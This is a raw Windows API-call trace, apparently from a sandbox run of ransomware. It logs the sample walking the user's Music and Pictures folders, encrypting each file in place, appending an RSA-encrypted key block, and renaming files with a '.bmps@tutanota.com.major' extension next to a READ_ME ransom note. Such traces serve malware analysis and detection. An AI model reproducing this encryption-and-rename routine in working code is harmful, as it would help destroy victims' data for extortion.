CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.307] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\-cDq5_.m4a", dwFileAttributes=0x80) returned 1 [0156.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0156.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0156.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0156.307] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\-cDq5_.m4a" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\-cdq5_.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8 [0156.308] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=90710) returned 1 [0156.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16256) returned 0x6538b0 [0156.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16256) returned 0x2e60f28 [0156.308] ReadFile (in: hFile=0x6d8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x16256, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x16256, lpOverlapped=0x0) returned 1 [0156.311] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=-90710, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.311] WriteFile (in: hFile=0x6d8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x16256, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16256, lpOverlapped=0x0) returned 1 [0156.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.312] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16256 [0156.312] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.312] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.312] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.312] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.313] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.313] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ez+AheEhp5SOyXYKaMvW/5nRyvbPgwUCVZ5oxp03U5jZAahy69nihM6rCBNvZ9qk\n5rShFNgalo5McMH09nHj/xPaJ6ZrRr3ZaAAxvWPR6tZuCS+HcCaWZTHiBXUMFUsm\nB6qo8Zyd3VR+X2zgqTQHFR4AVu+eTomkxKYpDOaMkUMLzJR2z4dNhAnT8ZjeurEu\nSLwcZYaXM7+YtGYPb4PIRpm0VdV8dkWJI/YMzzysg1Pi2yO4nwbU0oyHrYVdpceO\noqbMPG3X1wxkE7tmmYAou0LejDXU+3RXkqT3hA06Mrd9kA3Sd76rkg7ZrYWRu6Pr\n0YI9kZbJBNAKdIO5p5G+fA==\n", pcchString=0x2e3f9a8) returned 1 [0156.313] WriteFile (in: hFile=0x6d8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.313] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.313] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.313] CloseHandle (hObject=0x6d8) returned 1 [0156.313] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.313] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\-cDq5_.m4a" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\-cdq5_.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\-cDq5_.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\-cdq5_.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0156.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0156.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0156.315] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be318 [0156.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0156.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0156.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589900 | out: hHeap=0x570000) returned 1 [0156.315] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b587df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6315c0 [0156.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0156.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0156.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0156.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0156.316] GetLastError () returned 0x0 [0156.316] SetLastError (dwErrCode=0x0) [0156.316] GetLastError () returned 0x0 [0156.316] SetLastError (dwErrCode=0x0) [0156.316] GetLastError () returned 0x0 [0156.316] SetLastError (dwErrCode=0x0) [0156.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0156.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0156.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631680 [0156.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631680 | out: hHeap=0x570000) returned 1 [0156.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0156.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0156.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.316] FindNextFileW (in: hFindFile=0x6315c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b587df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0156.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0156.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0156.316] GetLastError () returned 0x0 [0156.316] SetLastError (dwErrCode=0x0) [0156.316] GetLastError () returned 0x0 [0156.317] SetLastError (dwErrCode=0x0) [0156.317] GetLastError () returned 0x0 [0156.317] SetLastError (dwErrCode=0x0) [0156.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0156.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0156.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631300 [0156.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631300 | out: hHeap=0x570000) returned 1 [0156.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0156.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0156.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.317] FindNextFileW (in: hFindFile=0x6315c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0156.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0156.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0156.317] GetLastError () returned 0x0 [0156.318] SetLastError (dwErrCode=0x0) [0156.318] GetLastError () returned 0x0 [0156.318] SetLastError (dwErrCode=0x0) [0156.318] GetLastError () returned 0x0 [0156.318] SetLastError (dwErrCode=0x0) [0156.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0156.318] FindNextFileW (in: hFindFile=0x6315c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b587df, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17b587df, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17b587df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0156.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0156.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0156.318] GetLastError () returned 0x0 [0156.318] SetLastError (dwErrCode=0x0) [0156.318] GetLastError () returned 0x0 [0156.318] SetLastError (dwErrCode=0x0) [0156.318] GetLastError () returned 0x0 [0156.318] SetLastError (dwErrCode=0x0) [0156.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.318] FindNextFileW (in: hFindFile=0x6315c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b587df, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17b587df, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17b587df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0156.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0156.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.318] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.318] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini", dwFileAttributes=0x80) returned 1 [0156.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0156.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e678 [0156.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0156.319] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6dc [0156.319] GetFileSizeEx (in: hFile=0x6dc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=190) returned 1 [0156.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbe) returned 0x5d07f0 [0156.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbe) returned 0x5d0020 [0156.319] ReadFile (in: hFile=0x6dc, lpBuffer=0x5d07f0, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d07f0*, lpNumberOfBytesRead=0x2e3f9b4*=0xbe, lpOverlapped=0x0) returned 1 [0156.320] SetFilePointer (in: hFile=0x6dc, lDistanceToMove=-190, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.320] WriteFile (in: hFile=0x6dc, lpBuffer=0x5d0020*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d0020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbe, lpOverlapped=0x0) returned 1 [0156.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0156.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0156.321] SetFilePointer (in: hFile=0x6dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbe [0156.321] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.321] WriteFile (in: hFile=0x6dc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.321] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.321] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.321] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.321] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Yn3KehPln61biOEC6w8v0aV64rRkChbMU81ichTt7TX6wr39sIVqclAq78kt7KGL\npYbepzN86bAo5DBIEIlgMBp9Wp1b+wH0vN10Gg/zWDoNdS0DV7nYxeZMqbvJF1yq\npGsgT1H+DgieipBSS0H8GIgk6H94+tUPLXjgCw0lTiBIB32OcvKnEI8YX4MbozTo\nF2+YRZYrLFAsmiBPUI1ZSmuq/ne74Nzj1WEdRPbfGjlVEHyIwWPV7x/Dbne/+Aeo\ng4hTuzu5F3i3SNyJg2zzaF0d6TypzSxxl4Wyrf2z7D0I3qbCLlO67f+JWCBbHcUb\nx7Xg9h+7/sgKtR4DoimucA==\n", pcchString=0x2e3f9a8) returned 1 [0156.321] WriteFile (in: hFile=0x6dc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.321] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.321] WriteFile (in: hFile=0x6dc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.322] CloseHandle (hObject=0x6dc) returned 1 [0156.322] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.322] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e678 | out: hHeap=0x570000) returned 1 [0156.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0156.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0156.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0156.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0156.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec08 | out: hHeap=0x570000) returned 1 [0156.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0156.325] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b7ea01, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631300 [0156.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0156.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0156.325] GetLastError () returned 0x0 [0156.325] SetLastError (dwErrCode=0x0) [0156.325] GetLastError () returned 0x0 [0156.325] SetLastError (dwErrCode=0x0) [0156.325] GetLastError () returned 0x0 [0156.325] SetLastError (dwErrCode=0x0) [0156.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0156.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0156.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631380 [0156.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631380 | out: hHeap=0x570000) returned 1 [0156.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0156.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0156.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.325] FindNextFileW (in: hFindFile=0x631300, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b7ea01, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0156.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0156.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0156.326] GetLastError () returned 0x0 [0156.326] SetLastError (dwErrCode=0x0) [0156.326] GetLastError () returned 0x0 [0156.326] SetLastError (dwErrCode=0x0) [0156.326] GetLastError () returned 0x0 [0156.326] SetLastError (dwErrCode=0x0) [0156.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0156.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0156.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631680 [0156.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631680 | out: hHeap=0x570000) returned 1 [0156.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0156.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0156.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.326] FindNextFileW (in: hFindFile=0x631300, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0156.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0156.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0156.326] RtlAllocateHeap 